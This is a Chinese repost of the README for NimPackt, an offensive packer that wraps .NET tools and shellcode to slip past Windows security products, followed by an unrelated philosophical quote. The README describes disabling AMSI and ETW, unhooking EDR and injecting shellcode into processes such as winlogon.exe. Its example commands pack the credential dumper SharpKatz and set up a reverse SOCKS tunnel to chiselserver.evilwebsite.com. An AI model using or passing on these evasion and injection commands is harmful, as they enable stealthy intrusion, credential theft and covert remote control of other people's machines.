渗透工具NimPackt:基于 Nim 的打包程序,用于 .NET 可执行文件和原始外壳代码
Git地址:
chvancooten/NimPackt-v1:基于 Nim 的装配打包器和 shellcode 加载器,用于 opsec 和利润 (github.com)
描述
NimPackt是一个基于Nim的打包程序,用于针对Windows的.NET(C#)可执行文件和shellcode。它会自动将有效负载包装在编译为本机C的Nim二进制文件中,因此更难检测和逆向工程。有两种主要的执行方法:
Execute-Assembly
重新打包 .NET 可执行文件并运行它,可以选择应用规避措施,如 API 取消挂钩、AMSI 修补或禁用 ETW。Shinject
使用原始的、与位置无关的 shellcode 获取.bin文件,并在本地或远程进程中执行它,可以选择使用直接系统调用来触发 shell 代码或修补 API 钩子来逃避 EDR。
目前,NimPackt具有以下功能。
- 使用静态系统调用来修补执行以规避 EDR
- 通过使用 ShellyCoat 刷新来取消生成线程的用户模式 API 的钩子
NTDLL.dll
- 修补程序 Windows 事件跟踪 (ETW)
- 修补反恶意软件扫描接口 (AMSI)
- AES 使用随机密钥对有效负载进行加密,以防止静态分析或指纹识别
- 编译为或
exe
dll
- 支持跨平台编译(来自 Linux 和 Windows)
- 与 CobaltStrike 集成,用于生成 ezpz 有效载荷😎
可以在此处找到用于进攻性工具的基于 C# 的二进制文件的重要来源。强烈建议您自己编译 C# 二进制文件。即使嵌入式二进制文件已加密,也应对敏感二进制文件(如 Mimikatz)进行模糊处理,以降低检测风险。
安装
如果您在使用 Syscall 编译二进制文件时遇到问题,请尝试将 GCC 降级到版本 8.1.0(尤其是在 Windows 上)。始终测试生成的有效负载!
在 Linux 上,只需安装所需的软件包,然后使用 Nimble 软件包安装程序即可安装所需的软件包和 Python 库。
sudo apt install -y python3 mingw-w64 nimpip3 install pycryptodome argparsenimble install winim nimcrypto
在 Windows 上,从此处执行 Nim 安装程序。确保使用提供的实用程序正确安装和设置路径值。如果您没有安装 Python3,请按如下方式安装所需的包。mingw
finish.exe
nimble install winim nimcryptopip3 install pycryptodome argparse
Docker镜像
Docker 镜像 chvancooten/nimbuild 可用于编译 NimPackt-v1 二进制文件。使用 Docker 非常简单,并且可以避免依赖关系问题,因为所有必需的依赖项都预安装在此容器中。
要使用它,请为您的操作系统安装 Docker,并确保输入外壳代码位于当前文件夹中。然后,在容器中开始编译,如下所示。
docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin
CobaltStrike 插件
要安装 CobaltStrike 插件,请从菜单栏中选择 ->,然后选择 。确保从原始位置加载文件,否则将无法找到NimPackt脚本文件!Cobalt StrikeScript ManagerLoad.cna
用法
usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r] [-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S] [-d] [-v] [-V]required arguments: -e EXECUTIONMODE, --executionmode EXECUTIONMODE Execution mode of the packer. Supports "execute-assembly" or "shinject" -i INPUTFILE, --inputfile INPUTFILE C# .NET binary executable (.exe) or shellcode (.bin) to wrapexecute-assembly arguments: -a ARGUMENTS, --arguments ARGUMENTS Arguments to "bake into" the wrapped binary, or "PASSTHRU" to accept run- time arguments (default) -na, --nopatchamsi Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI) -ne, --nodisableetw Do NOT disable Event Tracing for Windows (ETW)shinject arguments: -r, --remote Inject shellcode into remote process (default false) -t INJECTTARGET, --target INJECTTARGET Remote thread targeted for remote process injection -E, --existing Remote inject into existing process rather than a newly spawned one (default false, implies -r) (WARNING: VOLATILE)other arguments: -o OUTPUTFILE, --outfile OUTPUTFILE Filename of the output file (e.g. "LegitBinary"). Specify WITHOUT extension or path. This property will be stored in the output binary as the original filename -nu, --nounhookDo NOT unhook user-mode API hooks in the target process by loading a fresh NTDLL.dll -ns, --nosyscalls Do NOT use direct syscalls (Windows generation 7-10) instead of high-level APIs to evade EDR -f FILETYPE, --filetype FILETYPE Filetype to compile ("exe" or "dll", default: "exe") -s, --sleep Sleep for approx. 30 seconds by calculating primes -32, --32bit Compile in 32-bit mode (untested) -S, --showConsole Show a console window with the app's output when running -d, --debug Enable debug mode (retains .nim source file in output folder) -v, --verbose Print debug messages of the wrapped binary at runtime -V, --version show program's version number and exit
例子:
# Pack SharpKatz to accept arguments at runtime, patching NTDLL hooks, AMSI, and ETW while printing verbose messages to a visible console at runtimepython3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v# Pack Seatbelt as a DLL file with baked-in arguments (note: write to outfile because stdout is not available for DLLs)python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"# Pack SharpChisel with a built-in ChiselChief connection string, do not unhook, patch AMSI, or disable ETW, hide the application window at runtimepython3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'# Pack raw shellcode to DLL file that executes in the local thread through direct syscalls, unhooking NTDLL as well# Shellcode generated with 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin'python3 NimPackt.py -i calc.bin -e shinject -f dll# Pack raw shellcode to execute in a newly spawned Calculator thread in an invisible windowpython3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"# Pack raw shellcode to execute in the existing Winlogon process (first PID with name 'winlogon.exe'), do not use direct syscalls or unhook NTDLLpython3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns
二进制文件存储在安装目录的子文件夹中。生成的文件可以按如下方式执行(可以在 Nim 模板中更改入口点):output
dll
rundll32 exampleShinjectNimPackt.dll,IconSrv
🏹每日分享🏹:
感觉不到悲伤就不会悲伤,一片废墟并不悲伤,只有人懂得悲伤。我是遭遇过的人。 400 人的伟大。我们如此推崇人的灵魂,以至于无法忍受它为人轻视,也就是不被别的灵魂尊敬。人的全部幸福就在于这种尊敬。
一《人是一根会思考的芦苇》